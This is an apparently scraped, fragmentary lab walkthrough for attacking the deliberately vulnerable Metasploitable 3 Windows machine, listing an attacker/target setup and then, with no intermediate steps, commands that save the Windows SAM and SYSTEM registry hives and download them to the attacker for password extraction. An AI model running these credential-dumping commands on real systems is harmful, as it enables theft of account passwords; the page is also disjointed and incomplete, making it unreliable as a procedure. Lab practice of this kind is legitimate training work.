Metasploitable 3 Windows Walkthrough
Metasploitable 3 Windows Walkthrough: A Practical Penetration Testing Guide
1. Environment Setup
| Component | Specification | |-----------|---------------| | Attacker | Kali Linux (VM) | | Target | Metasploitable 3 (Windows Server 2008 / 2012 VM) | | Network | Host-Only / NAT (both VMs on same isolated network) | | Tools | Metasploit, Nmap, smbclient, enum4linux, winexe |
Metasploitable 3 is a purposefully vulnerable virtual machine designed by Rapid7 to help security professionals practice penetration testing. Unlike its predecessor, it features a Windows-based version (typically Windows Server 2008 R2) packed with misconfigurations and outdated software. metasploitable 3 windows walkthrough
Dump SAM & LSASS
reg save hklm\sam C:\sam.save
reg save hklm\system C:\system.save
download C:\sam.save /root/
download C:\system.save /root/
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